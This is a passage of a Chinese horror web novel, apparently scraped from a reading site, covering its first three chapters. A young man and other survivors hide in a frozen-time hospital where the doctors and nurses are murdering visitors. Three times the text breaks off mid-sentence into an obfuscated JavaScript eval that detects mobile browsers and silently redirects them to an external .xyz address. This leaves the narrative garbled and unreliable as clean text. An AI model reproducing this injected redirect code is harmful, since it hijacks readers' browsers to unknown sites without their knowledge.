《求生悖论[无限]》 1. 市二院1 蔚迟到市二院的时候是下午一点四十七分,给两点要开会的老妈周迎春送资料。 今天的市二院也是人满为患,受疫情影响,蔚迟一边排着队等扫码,一边拿出手机玩数独。他后面的人挤了他好几下,他回头看了一眼,是个只到他肋骨的老头,他也说不出什么重话。 纪惊蛰的微信来了:迟迟,我十分钟就能到。 蔚迟看到了,没回,等他在一个戴眼镜的胖护士监督下扫码登记完,手机又连续震动。 纪惊蛰:迟迟,咱们今天去吃蜀九香吧 纪惊蛰:特辣 纪惊蛰:一人干他四碗冰粉粉 纪惊蛰:迟迟 纪惊蛰:到医院没有 纪惊蛰:见到阿姨了吗 纪惊蛰:迟迟 纪惊蛰:又不看手机机 纪惊蛰:「图片」 神经病。 好烦。图片内容上方的气泡就看不到了。蔚迟皱起眉,迟疑了一下,还是点开了即将消失的气泡,看到那个图片消息,是「小猫嫌弃jpg」 蔚迟回了一个:到了 想了想,又打了两个字:闭嘴 纪惊蛰是蔚迟的发小,住两隔壁的,从小一起长大,一起从幼儿园上到高中,一直好得能穿一条裤子,无话不谈,无谈不欢,摆明了是一辈子的铁哥们儿……至少蔚迟是这么想的。直到五年前纪惊蛰说都没跟他说一声,拍拍屁股就去了英国,说是去留学,五年杳无音讯。 有这么当哥们儿的吗? 绝不会轻易原谅他,蔚迟暗道。 结果他发出去的那两条信息后面的小圈圈转了两圈,居然变成了两个红色感叹号。 【你有2条信息未发送】 没信号了? 蔚迟把手机举起来摇了摇,又发了一遍,还是没发出去。 这人多的! 他烦躁地抓了抓头发,忽然感觉有点奇怪。他回头看了看,身后一个人都没有。 之前排在他背后那么长一条队伍怎么就不见了?刚那个矮个老头还撞了他五六下,他回头看了好几眼,确定后面排了长队。 可现在他后面一个人都没有了。连临时登记那张桌子后面的胖护士都不见了。 他刚跨进医院大门,大门外面是喷泉和花园,春光明媚。 可能另外开了一道门吧,遛得还挺快。他想。 蔚迟不用排队挂号,直接往楼上走,他站在扶手电梯上,心头那股怪异的感觉挥之不去。 医院大堂是巨大的天井,扶手电梯围绕着天井向上。周迎春的办公室在四楼,蔚迟又看了看时间,一点四十九分。 他搞了这么半天才用了两分钟? 事情就是这时候发生的。 先是几声惨叫,凄厉无比,蔚迟活到这么大还没在现实中听到过这样的惨叫声,而且不止一处,从好几个地方差不多同时响起,楼上楼下都有,给人四面八方铺天盖地的感觉。 一楼大厅里的人群骚动起来,开始乱窜,最后往中间收拢,蔚迟终于看清是怎么回事了,一时间只觉得荒谬透顶,噩梦都没敢这么荒谬过——人群骚动着,外围的人拼了命往里挤,里面的人往外推,乱成一锅粥,护士们都离开了自己的岗位,从前台、挂号间、防疫站走出来,手持手术刀,围着乌泱泱上百号人,从外围开始,逮一个杀一个,先掐住人的脖子,一刀捅进心窝,再干净利落地抽出来,面不改色地被血淋一身,再去杀下一个。 有人想往医院外面跑,但少有能冲出包围圈的,被揪住就直接杀了。有个穿红色FILA卫衣的年轻人好不容易逮空冲出缺口,冲到门口,在踩上大门的一瞬间,整个人忽然毫无征兆地炸成了一堆血块。 惨叫声还在继续,不止一楼,各个楼层都出现开始杀人的护士。蔚迟现在正在三楼通向四楼的扶手电梯上,身前身后都是人,前面的人忽然开始往下跑,蔚迟旁边的女孩没反应过来,直接被挤出了电梯,从天井那侧摔了下去。 蔚迟隔着惊慌的人群,隐约看到四楼电梯口露出半截护士裙边。上面的人还是拼了命地往下跑,后面的人反应不过来,又有被挤下去的。蔚迟没来得及细想,纵身翻出了电梯,跳到三楼走廊上。刚落地迎面又撞上逃窜的人流,也跟着跑起来。 周迎春是这里的医生,小时候蔚迟放假会到她的休息间写作业,对这里还是很熟悉的,七拐八弯地找到安全通道,爬楼梯上了四楼,找到周迎春的诊室,推门而入。 周迎春正趴在桌上睡觉,听到动静,迷迷糊糊抬起脸来:“唔……小迟?……几点了?” 蔚迟松了一口气。 蔚迟没空跟她多说,上去要拉她:“诶一会儿再说走走走你先跟我走……”说到这儿忽然梗住了,眼角一跳,一股凉意从尾椎骨直接窜上天灵盖。 周迎春的脸色发青,跟那些杀人护士的脸一样。 正常人的脸色不可能是这样的,像风干的沥青。 周迎春又问了一遍:“几点了?” 蔚迟看了眼手机,报:“一点四十九分。”他吞了吞口水,镇定下来,把手里的资料往周迎春面前一放,说,“妈,你先洗漱一下,我在外面等你啊。” 蔚迟退出诊室,盯着门想了三秒,跑到楼梯间猫住。这里挺隐蔽,可以看到周迎春的诊室。 惨叫声还在零零散散地继续,但没有那么多人在走廊上乱窜,大概其他人也找地方躲起来了。 事情都发生得太快,这会儿安静下来,蔚迟感觉到自己的心跳得厉害。 他先掐了自己一把,确定不是在做梦,又再次看了一眼手机,还是一点四十九分。他做了几次深呼吸,脑子里迅速回放了一遍刚刚发生的事。从他身后的人消失开始…… 他忽然意识到哪里不对了。 发现身后的人消失,他回头看了医院大门挺久,门外是喷泉和花园。但喷泉没有水声。 没有水声,没有鸟叫,树叶也没有动,阳光也没有动,没有风。 一点四十九分。 一切静止。 这时,蔚迟看到周迎春的诊室开了门,他妈走出来,一张青脸,神情漠然,左右看了看,朝一边走了。蔚迟注意到,她手里捏着一把刀。 他的后背都被冷汗打湿了。 这到底是怎么一回事…… 忽然有人轻轻拍了拍他的肩膀。 蔚迟感觉自己心跳都要停了。 他现在蹲在楼梯间,正透过门上的玻璃往外看,灯是声控灯,因为很久没声音早熄了,身后是一片黑暗。 他考虑了几秒,是拔腿开跑还是回头看一眼,结果又透过玻璃看到两个朝这边走来的护士。 身后那人见他久没动静,就又拍了拍他。 蔚迟深吸了一口气,回过头,对上一张娃娃脸。是个年轻男孩,白白净净,大约还是个人。 蔚迟好不容易缓过气来,就看到那男孩一脸惊恐地盯着他的身后。 他身后就是门,有什么东西能把人吓成这样? 都没有经过思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350143|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考,蔚迟下意识就拉着男孩往旁边一滚,躲到了角落里的垃圾桶后面,旁边正好有个没用的黑色垃圾袋,两人非常默契地合作了一把,一人扯开一角,把自己罩了起来。 几乎是一秒之差,门被推开,两个护士说说笑笑走进来,又把门关好。 血腥味弥漫了这个空间。 有那么一会儿是完全的安静,两个人看不到外面,缩成一团。 啪。 男孩应声抖了一下,被蔚迟死死捂着嘴。 然后又是一声“啪”。 打火机的声音。 这两个护士,满身是血,居然是跑到楼道里来抽烟的。 一个护士说:“两点二十六了,不知道今天能不能准点下班。” 另一个呼出一口烟:“我还有晚班呢,要下周才能调休。” “丁主任今年评级稳了吧?” “应该是。” “今天准时下班的话就去吃火锅吧?” “行啊,蜀九香吧?” 两个人居然你一言我一语地开始了闲聊。 说到蜀九香,蔚迟就想到了纪惊蛰今天发来的微信,蔚迟有点后悔,怎么就没有回复呢?要晓得那可能是他留在世界上最后的两条消息,还是应该回一下。 可是回什么呢? 两个护士抽完烟就出去了,蔚迟和男孩又等了一会儿才掀开垃圾袋。 空气里的血味依旧浓郁,地上还有几个血脚印。 男孩立刻抱着垃圾桶开始吐。 蔚迟看了两眼,去拍了拍男孩的背。完了两个人认识了一下,男孩叫元祁,看着显小,居然已经二十二了,只比蔚迟小两岁,话还没说完就开始哭:“呜呜呜呜我只是来帮我女朋友拿个药怎么会遇到这种事啊呜呜呜……” 蔚迟一个头两个大:“别哭别哭,你先别哭……刚刚你拍我的时候没见你这么胆小啊?我都差点被你吓吐了好吗?你那会儿怎么敢来拍我?” 元祁:“你穿的神奇宝贝联名款,背上那么大一只皮卡丘,穿皮卡丘的人怎么可能是坏人?” 感谢任天堂,蔚迟说:“好的,就这样,保持,别哭了。” 元祁:“呜呜呜这怎么办啊我还没考上研呢怎么就遇上坏人了……” 蔚迟说:“大概不是坏人。” 元祁:“这都不是坏人?” 蔚迟:“可能不是人。” 元祁:“呜呜呜……” 蔚迟:“行了,你带手机了没?” 元祁:“我不信。” 蔚迟:“什么不信?” “我要入党。”元祁说,“我是坚定的唯物主义者。” “……”蔚迟点点头,说,“行。所以你带手机了没?” “带了。”元祁摸出手机,蔚迟一看,显示一点四十九分。元祁甚至还带了一块表,也是一点四十九分。 元祁看他面色凝重,问:“怎么了?” 蔚迟:“时间停在一点四十九分了。” 元祁:“可能我手机坏了。” 蔚迟:“我的也是一点四十九。” 元祁:“可能我们俩的都坏了。” 蔚迟:“你的表呢?” “也许这三个都……”说一半元祁自己也觉得不可能,又哭起来,“呜呜呜我是坚定的马克思主义者……” 蔚迟看着那两个护士留下来的血脚印。 她们刚刚说时间已经是两点二十六了。 她们的时间还在正常前进。 2. 市二院2 蔚迟和元祁在楼梯间躲了一会儿,又撞见两个进来抽烟的男医生,也是满身血味,若无其事地聊家常。一个抱怨说今天的病人好多,累死了,大厅里那么多人,真不体面。另一个就安慰道,明天就调休了,再坚持一下,抽快点,马上要集合了。 这次两个人还是躲在塑料袋里,蔚迟还在塑料袋上戳了一个洞往外看,吓得元祁气都不敢出。 蔚迟着重注意医生的脸,确实是那种沥青般的凝滞颜色,白大褂的下摆和衣袖上全是血,没有护士们的衣服那么触目惊心,但是显然,在这些医生们身上也发生了什么变化。 等这两个医生也走了,蔚迟意识到不能再这么坐以待毙。医院禁烟,这楼道却是医护人员抽烟的秘密基地,根本不安全。 “那我们怎么办啊?”元祁抽抽搭搭地把眼泪擦干净。 “先活着,这么大间医院,总有人来救我们吧。”蔚迟又趴到玻璃上往外看,好一会儿走廊上都没有人走动。他想了想,刚刚那两个医生好像说要去集合……机不可失时不再来,就跟元祁说:“我要去我妈办公室一趟,你怕的话就在这儿等我。” 元祁小声惊呼:“不!我要跟你一起去!我一个人更害怕!” 蔚迟说:“那你不许哭。” 元祁点头如捣蒜:“我不哭。” 两人弯着腰通过走廊,走廊护栏是实心瓷砖,可以把人遮住,可怕的是医院的走廊太长了,围绕着天井呈一个“井”字,一眼就望到了头,但凡有人出现在同一条走廊上,根本无所遁形。 还好没有遇到人,两人有惊无险地到了妇科五诊室,蔚迟把门反锁,开始翻箱倒柜地在他妈办公桌里翻,翻半天没翻出什么端倪,倒是翻出几封徐叔写给他妈的情书。元祁也在跟着他翻,边翻边问:“我们到底在找什么啊?” 其实蔚迟也不知道自己想找什么,只是觉得这全医院的医护人员都出了问题,那总归是有什么原因吧。或许是什么病毒泄露?或许是疫苗变异?不过……周迎春是妇科的,好像确实跟这些事情的关联不深,大概是找不出什么秘密资料的…… 元祁背了个背包,蔚迟就让他去拿里间小休息室的柜子里的东西,吃的喝的都带上。以前蔚迟放假的时候会到医院来写作业,知道那里放了不少零食。 拿完以后两人又返回安全通道,刚进去蔚迟腿一软就跪在了地上。 元祁赶快了扶他,一碰到他的手臂,立即感觉这人抖得厉害,着急道:“你怎么了呀?” 蔚迟摇摇头,缓了一会儿,还是趴到一边的垃圾桶上去吐。 他刚刚没忍住,微微直起身朝天井下面看了一眼。 他的瞬时记忆很快,把场面看了个清楚—— 一地的死人,因为尸体被各种踩踏拖拽,好些都不成人形。医护人员都集中在一楼,一个医生配一个护士,两两成组,四组成一队,每队配着一个推手推车的护工,手推车上放着一个铁盆,就是员工食堂装大锅菜的那种盆。手术刀锋利小巧,医生们各个技艺精湛,在尸体胸口轻描淡写一捣鼓,身后的小护士就蹲下去把尸体的心掏出来,往铁盆里一丢—— 一楼大厅正中挂着一个白面大钟,时间指向三点。 蔚迟吐完了,扶着墙爬起来,竭力压制着身体的颤抖,眼角都红了:“走,我们得想办法离开这里。” 两人顺着安全楼梯跑到一楼,这儿有一扇小门,平时供清洁工出入。小门开着一条缝,明媚的春光从那道缝中涌入,元祁高兴地要起飞,朝那门就冲过去,被蔚迟拎着后颈拽回来:“等着!” 元祁一脸委屈:“怎么了呀?” 蔚迟道:“你刚刚没看见?” 元祁:“看见什么?” 蔚迟:“冲出去的人是什么下场?” 元祁摇头:“我刚刚在二楼药房拿药。” 蔚迟拿旁边的扫把将门顶开,眯起眼又仔仔细细看了一遍,门外的景致纤毫毕现,绿叶、繁花、融融春日,枝头还有一只喜鹊,但一切都诡异地静默着,像一帧电影像素的照片。 他想了想,把扫把扔出了门。 扫把落地,发出“啪”的一声,好像没有任何不对,重力、阻力、声音的传播,都没有任何问题。 元祁有点不耐烦:“你干什么呀?我们小心点,从这儿不就能出去了吗?” 蔚迟叹了一口气,从怀里摸出一个东西,绿绿圆圆,是一只小乌龟,周迎春养的,是他刚刚在周迎春办公室的窗台上拿的,叫蔚小猪。因为蔚迟小时候的小名就叫蔚小猪,青春期一到,就不让他妈叫了,他妈就买了这只乌龟,美其名曰缅怀蔚迟像小天使一样的时光。 元祁看蔚迟脸色不对,犹犹豫豫问道:“迟哥,怎么了?” 蔚迟忽然把小乌龟往门外一丢。 然后元祁就看到了异常惊悚的一幕,只见那小东西呈一个非常普通的抛物线向外飞去,却在半空中爆成了一团血雾。如果蔚迟刚刚没有拉住他的话,现在那团血雾就是他了,当然,是他的话场面想必要更壮观一点。 见状,蔚迟心下一叹,果然是这样。 他疲惫地说:“这里出不去。” 元祁:“我看出来了。” 蔚迟说:“一楼大厅也出不去。我看到有个人想从大门出去,也这么死了。” 元祁悚然一惊:“人?” 蔚迟道:“嗯,肠子爆得满天都是。” “迟哥……”元祁一张小脸都吓白了,又哭起来,“呜呜呜呜我只是来帮我女朋友拿个药怎么会遇到这种事我怎么这么惨啊马克思爷爷救救我啊呜呜呜……” 一楼出事的时候元祁正在二楼拿药,还带着耳机打王者,等被人把手机都撞掉了才晓得出了事,一抬眼所有人都在乱窜。坐他旁边等着拿药的姑娘被一个不到一米六的小护士提着脚腕拖着走,他正准备上去见义勇为,先出手的是姑娘的男朋友,一米八几的胖墩,一拳捶过去,手腕却被那小护士抓住,噼里啪啦捏了个粉碎性骨折。 元祁终于晓得害怕,跟着人流拔腿就跑,躲进安全通道,听见一楼阵仗颇大,就往楼上跑,在四楼遇到了蔚迟。他觉得事情很奇怪,但没想到真的死了人。 哭了半天,蔚迟却还没骂他,元祁吸吸鼻子看过去,只见他迟哥面无表情地盯着门,清俊的侧脸冷漠酷帅,他羡慕道:“迟哥,你好淡定啊,真厉害。” “淡定个屁。”他迟哥说,“我小腿都吓抽筋了。”说完一屁股坐在楼梯上,往后一瘫,“我看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那条裙子是蔚迟送去洗的,一条正红色的连衣裙,蕾丝花边非常漂亮。蔚迟想起他妈昨天跟他说周末陪她去赏花,态度可有可无,没想到就是嘴硬,还是想打扮得漂漂亮亮和儿子去看桃花。 元祁又问:“那你没有喜欢的人啊?” 蔚迟说:“没有。” “好惨。”元祁看了他一眼,“母单?” 蔚迟没听懂:“什么?” 元祁:“母胎单身。就是从娘胎里出来就没谈过恋爱。” 蔚迟想了几秒,点点头:“是啊。” 元祁夸张地倒吸一口凉气:“不是吧迟哥,你玩我?长你这样还能没有青春的?” 蔚迟捶了他一下:“谁说青春就要谈恋爱?” 元祁说:“那你青春干啥去了?” 蔚迟:“学习啊。” 元祁气口一窒,竟无言以对,好半晌才接着问:“那不学习的时候呢?” 说到这儿蔚迟气就不打一处来:“找人。” 元祁还要再说,被蔚迟一把捂住了嘴。他听到后面有脚步声,放得很轻,已经离他们很近了。 3. 市二院3 扫把已经扔出去了,蔚迟和元祁拿着簸箕和拖把站在墙角严阵以待。过了不到半分钟,一个人走到底层,往门外看。 元祁抖抖抖了好一阵,被这人一吓,一拖把就砸在那人后脑勺上。 那人大喊一声“卧槽”,回头抓住拖把,目眦欲裂,似凶神恶煞似窝囊怂逼,元祁吓得一撒手往蔚迟背后躲,蔚迟用簸箕架住那人挥来的拖把,道:“兄弟,对不住,是人的话就有话好说!” 那人还真停下了动作,还有两个跟着下来的一男一女也停了。 几人互作介绍,最先下来那男人叫林富国,是个货车司机,来看腰间盘的,从三楼下来。一男一女是一对,男的叫张宇凡,女的叫李夏,大学生,来做B超,从四楼妇科下来。他们也是在楼梯间撞见的,都想来看看这里能不能出去。 蔚迟跟几人说了FILA男和小乌龟的事,遗憾道这门出不去。 林富国是个暴躁易怒的中年人,不信邪,嚷着要往外走,走到门边回头一看,见几人都站在原地,没人拦他,又怂了,骂骂咧咧退回来,骂他们胆小鬼。 年轻人们都没理他,蔚迟又和他们对了对时间,他们的设备都无一例外地停在了一点四十九分。张宇凡问蔚迟:“那现在怎么办?” 他的语气相当不客气,蔚迟看了他一眼:“我哪儿知道?” 张宇凡:“那些到底是什么东西?” 蔚迟:“不知道。” 张宇凡沉默了一会儿,又说:“你刚刚说你妈在这里上班?” 蔚迟:“是啊。” 张宇凡:“那去找找她?” 蔚迟:“她大概已经变成那种东西了……” 张宇凡:“那没准虎毒不食子嘛。” 蔚迟:“那万一就食了呢?我找谁说理去?” 李夏道:“好了好了,大家都先休息一下吧。” 确实是又累又怕,这会儿安静下来浑身都累得像跑了三千米,几个人没再说话,都往地上一坐,蔚迟元祁、张宇凡李夏、林富国自己,分别占了三个角。 元祁把书包抱在胸前,安静了三五分钟,忽然想起包里不是装了好些零食嘛?他看了看蔚迟疲惫的侧脸,伸手拉拉链:“诶迟哥,趁这会儿闲,要不我们先……” 蔚迟一下子按住了他拉拉链的手,微不可查地摇摇头,接道:“你累了就先睡一会儿,我可不敢睡。” 元祁余光感觉到另外三个人都在看这边,灵机一动从书包外层掏出一瓶风油精,说:“我说先擦点风油精,这个天气开始有蚊子了,天晓得被咬了会不会传染恐怖病毒。” 张宇凡:“什么恐怖病毒?” 元祁:“我随便说的,现在不知道怎么回事呢。” 林富国忽然插嘴,要不然元祁还以为他睡着了:“这医院到底是怎么回事?”语气非常不善,是在兴师问罪。 蔚迟反映了一会儿才发现林富国是在问他,挑挑眉:“我不知道。” 林富国:“你妈是这儿的医生你不知道?!” 蔚迟摊摊手:“我真不知道。” “你!”林富国跳起来,脸红脖子粗的。他是跑长途的,风吹日晒,皮肤又黑又糙,脸上沟壑纵横,双眼暴突,挺不好惹的长相。但蔚迟不避不让地和他对视,眼神非常平静,过了好一会儿,林富国朝旁边啐一口痰,骂了一声“操”,就又坐了回去。过了一会儿,他粗声粗气问道:“你是大学生吧?” 蔚迟看着他,没说是也没说不是,林富国却当他默认,又都嘟嘟囔囔骂着:“你们这代大学生是真没用,哪像我们那会儿,考上大学都是人中龙凤……” 在场四个大学生,都没理他。 很久没人说话,午后三点多,日光浓郁,本来就是最易睡觉的时候,连蔚迟都开始打瞌睡,结果被元祁撞在肩膀上的脑袋磕醒了。他忽然坐直身体:“不对!” 李夏和张宇凡也瞬间清醒过来,李夏问:“什么不对?” 蔚迟站起来,把元祁也拉起来:“我们得赶紧离开这儿!” 李夏和张宇凡跟着站起来,林富国却一脸不耐烦地坐起来:“干什么干什么?” 蔚迟看看那邋遢大叔,虽然人不讨喜,但好歹是个人,就解释了一句:“我记得三点半医院大厅要做一次清洁,清洁工可能就是从这个门进来。” 林富国:“进来就进来呗!现在医院里到处都是那些医生护士,你往哪儿跑?被他们逮住才是一个死!” 这次李夏和张宇凡也停下来看着蔚迟,显然也有些犹豫。 蔚迟才懒得管他们,反正他也不一定对,自求多福罢了。他只是忽然想起刚刚从天井看下去的那一眼,推手推车装心脏的那几个护工也不是医生护士,谁知道清洁工会变成什么?再者说,他们现在呆的这个地方着实也不太对,虽然似乎很偏,没有医生护士会来,但门又不能出,可以说是一条绝路,万一出现什么变故,跑都没处跑。 蔚迟带着元祁就往上走,林富国忽然拉住了他的腿,蔚迟皱着眉回头,问:“干嘛?” 林富国恶狠狠地说:“你不能走!你肯定知道些什么!你不能走!” 蔚迟简直服了,这都是什么事?他把腿往外拔了拔,拔不出来,一个头两个大:“你放开我!” 林富国用两只手抱住了他的腿,拿出了一副找拖欠工资的黑心老板要钱的架势:“你不能走!你肯定知道什么!你不能走!” 蔚迟:“我不知道啊!我就是觉得应该离开这里!你不听我也没逼你啊!你放开我要来不及了……” 他骤然哑了火,因为他看到那扇他们出不去的门进来了一个人。 元祁、李夏和张宇凡也看到了,顿时噤若寒蝉,林富国还在那儿嚷嚷,可能感觉到气氛不对,顺着众人的目光往后看了一眼,立即也住了嘴。 那是一个黑瘦黑瘦的老太太,清洁工打扮,正睁着一双蒙着白翳的眼睛打量着他们。 这个凝滞的氛围大概持续了一分钟,林富国忽然暴起,一脚把那个清洁工踹倒,然后骑上去冲着头一顿爆锤。那清洁工摔下去的时候就磕到了后脑勺,这几拳头下来已然气绝,脸都被砸得凹陷进去,一地是血。 事情发生得太快了,其他人基本都没有反应过来。 林富国看着自己沾满血的手,嚎道:“这肯定不是人!这肯定不是人!她从那扇门进来的!你们不是说那是扇鬼门吗?她肯定不是人!”他状态紧绷,双眼充血,濒临崩溃的模样,一边喃喃“她肯定不是人”一边又要来拽蔚迟的脚。 蔚迟躲开了,带着元祁飞快往上跑。 他们在的地方比大厅要低半层,往上跑了就正对着连接大厅的门,蔚迟无意停留,却在刚踩上最后一级阶梯的时候迎面撞见一张青脸,有个护士把门打开,相当不耐烦道:“吵吵吵什么?本来就迟到了还吵吵?” 蔚迟想都没想,一脚踹在她胸口给她踹出去,关门落锁,回头吼了一声:“还不快跑!” 门外传来一声怒喝,铁门上登时多了几个拳印,蔚迟再管不了那么多,拿出吃奶的劲往上跑。后面就是其他人跌跌撞撞跟上来的脚步声和喘息声,等他跑到二楼到三楼中间的时候,他听到一声门撞上墙的巨响,那个护士把门打开了,特制软底鞋的声音啪嗒啪嗒地追了上来。 蔚迟跑到四楼的时候拐出去,来太多次,下意识觉得这层楼熟悉。 走廊太长,就这么跑上去太容易被抓到,那护士最多落后他们两层楼,根本不够跑完一条长走廊。他冲到离安全出口五米远的厕所去把水龙头踹开,然后拐进了厕所旁边突出的承重柱后面,身后跟着的一串人也随着他贴墙站好,居然一个没丢,连林富国都吭哧吭哧跟在后面。 没喘两口气,脚步声就出现了,啪嗒、啪嗒地往这边来。蔚迟屏住呼吸,眼前阵阵发黑,耳边是自己巨大的心跳声。他忽然有点后悔,刚刚还是应该往走廊上跑的,反正他不是最后一个,那护士就算追上来了先抓住的肯定不是他,杀其他人总要花时间,他肯定能跑掉的。 不过现在说什么也迟了。 脚步声到厕所门口了……走过了……离他们很近了……到面前了。 就只隔着承重柱。 他们现在一字排开,但凡角度有一点不对,队尾的李夏就会被护士看见。 蔚迟的十指紧紧扣住墙壁,艰难地干咽了一口口水。 护士忽然大步回头,冲进了厕所。 厕所能藏人的地方很多,有隔间有杂物间还有门后面,看完会花不少时间,看了男厕还有女厕。护士一进去,蔚迟当机立断,飞速往回跑,又顺着上来的安全楼梯跑到二楼,安全通道斜对面就是药房后门,他过去一扭门把,没锁,带着人冲了进去。 药房很大,二楼半层楼都是,摆满药剂的货架一眼望不到头。蔚迟猜想现在一楼那么多死人,护士们要去处理,楼层高点的兴许能躲点懒,一楼二楼当值的总跑不掉。 他赌对了,现在药房没人。 几个人在药方中选了个前后都方便跑的地方,终于有空喘口气。 元祁满脸劫后余生,惨兮兮地说:“我那会儿心跳巨响,就怕把她引过来。” 李夏说:“我也是。” 林富国刚把气喘匀,暴躁地说:“跑什么跑?咱们这么多人,还……” 李夏道:“小点声!” 林富国还真就小声了点,但还是把一句话说完了:“还干不过她吗?” 张宇凡闻言冷笑:“那你咋不去跟她干?” 林富国被激得脖子上青筋暴起:“我、我咋不去?我一会儿就去!” “别!别!你真打不过!”元祁说,“我刚刚亲眼看到,一个一米八几的壮汉被一个这么高的小护士,”他比了一个身高,“一下子就把手腕捏碎了,我都听到骨头碎掉的声音了,我这辈子第一次听到那种声音……” 林富国嗤了一声:“哪有你们说得那么神?刚刚我不就杀了一个吗?” 张宇凡又怼他一句:“那你跟着我们跑什么跑?你去啊!” 然后这两人就吵了起来,不过在李夏的控制下,音量都比较小。元祁听了一会儿,无语透顶,转头一看蔚迟,见他正抬头望着货架上的东西,就凑过去小声问:“迟哥,在看什么?” 蔚迟说:“看药。” 那边张宇凡的声音扬了一点起来:“不敢去就闭嘴,孬种。” “去!”林富国站起来,“去、去就去!老子怕谁?”说着真就走了。 李夏打了张宇凡一下:“你没事激他干嘛?” 张宇凡说:“老子看他不爽。”说完见李夏嘟着嘴不太高兴的样子,便揽过她的腰,讨好说,“没事,他那么怂,肯定不敢去的,多半找了个犄角旮旯躲起来了。我是觉得他那个毛手毛脚的样子,迟早要弄出事,别把我们拖下水。” 元祁瞥了一眼他们紧紧贴在一起的腰胯,心说真腻歪,yue。 “不。”蔚迟忽然插嘴道,冷冷看着张宇凡,“你是想让他去试试,是不是真的会死。” 场面安静了好一会儿,张宇凡说:“那又怎样。” “没有必要。”蔚迟指着一扇窗户,说,“你们去看看就知道了。” 大厅的惨状是要通过天井往下才能看到的,其实张宇凡李夏包括林富国都没有看过,他们在建筑楼内部遇上了骚乱,也许撞见了护士伤人,但人来人往的,很难看清楚到底什么情况,被裹着就开始跑了。 张宇凡看了蔚迟几秒,李夏倒是先爬起来朝那扇窗户走过去,张宇凡也跟上,元祁看了蔚迟一眼,蔚迟耸耸肩,他便也走过去了。 药房扩建了一部分,占了一条走廊,便正临天井。三人蹲在窗边往下一看,李夏登时惊呼了一声,又自己捂住嘴。元祁也捂着嘴趴到旁边去吐。 张宇凡走回来,一张脸扭曲得厉害,也有点像鬼了:“这到底是怎么回事?” 蔚迟正在看货架上的药,看都没看他一眼:“我不知道。” “你不知道你这么淡定?”张宇凡揪住蔚迟的衣领,“别拿我当林富国忽悠。” “淡定有错?”蔚迟抬起眼看了看他,道,“而且你凭什么觉得自己和林富国不一样?至少他有一点还说对了。” 张宇凡说:“什么?” “我们得找个护士或者医生来杀。”蔚迟捡起货架上的几管药,“试试看杀不杀得死、怎么才杀得死。” 张宇凡手一抖,把蔚迟松开了。 “医院出不去,要活下去就得找到他们的弱点。下面的场面收拾完他们应该就会回到岗位上了,我们的时间不多。”蔚迟接着说,“我现在的初步想法是……试试重物砸、火烧、毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350145|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药……你们还有什么建议没有?” 元祁和李夏也围过来,脸色都不好看。元祁之前还有空耍宝卖乖,看了大厅里的情形后,现在觉得一个字都说不出来,感觉一张嘴就要吐。 没有人说话,也没有人反对。 蔚迟确认了一下几个人的专业,元祁是学美术的,张宇凡和李夏都是体育特长生,一个田径一个扔铅球。蔚迟自己学的是生物编程工程技术,生物学与医学关系紧密,他自己对化学也有点兴趣,家里还有医学背景,很快用刚刚捡下来的药制作了一支针剂。 元祁凑在旁边问:“这是什么?” 蔚迟不愿多做解释,简单回答:“麻醉剂。” 的确是麻醉剂,临床上主要用于全身麻醉、骨骼肌松弛剂使用的罗库溴铵,是一种非去极化神经肌肉阻滞剂,通过竞争性阻断神经肌肉接头处的N2型乙酰胆碱受体,阻止乙酰胆碱与受体结合,从而抑制神经冲动的传递。 “听着。”他将针剂推到顶部,针头冒出几滴晶莹的琥珀色液体,在药房的白灯下泛着冷光,“人的颈部有丰富的血管和神经,只要能将药物注入这个区域,就能在20秒内阻断神经传导,这个剂量和浓度,理论上来说可以麻翻大象。你们要给我创造条件。” 计划也不可能多周密,蔚迟简单说了一下,忽然听到不远处一声惨叫,好像是林富国,居然就在药房里面! 在他们进来的那道门的反方向,几个人跑过去,看到玻璃大门被砸碎了一面,林富国正被一个女医生掐着脖子拎起来,医生另一只手拿着刀,眼看就要往林富国胸口上扎。 这医生只身一个,两只手还被占着,可以说是时机大好。蔚迟还没有来得及说话,张宇凡就一个五十米冲刺冲上去,把手中的药罐往医生掐着林富国的那只手上一砸,药罐是玻璃做的,少说有二十斤,里面泡着一条黑蛇,张宇凡砸下去的力量之大,直接碎了,玻璃碎片也扎进女医生并不粗壮的上臂里,这要是个普通人,挨这一下少不得要来个粉碎性骨折。 女医生的手却好像只受了点皮外伤,甚至都没有放开林富国,她阴惨惨转向张宇凡,张宇凡被吓得一屁股坐在地上。医生正要朝他扑,后面的李夏也到了,炮弹一样撞倒了离医生最近的货架,瓶瓶罐罐倾倒一地,钢铁货架把医生拦腰压在了下面。 蔚迟和元祁也跑到了,元祁手忙脚乱开始划火柴,百忙之中催了蔚迟一声:“迟哥!快!” 跟药罐比起来,货架更是重得连老虎都能压得死,医生却只是停顿了一瞬间,就开始挣扎起来,货架竟然被她撬动了! 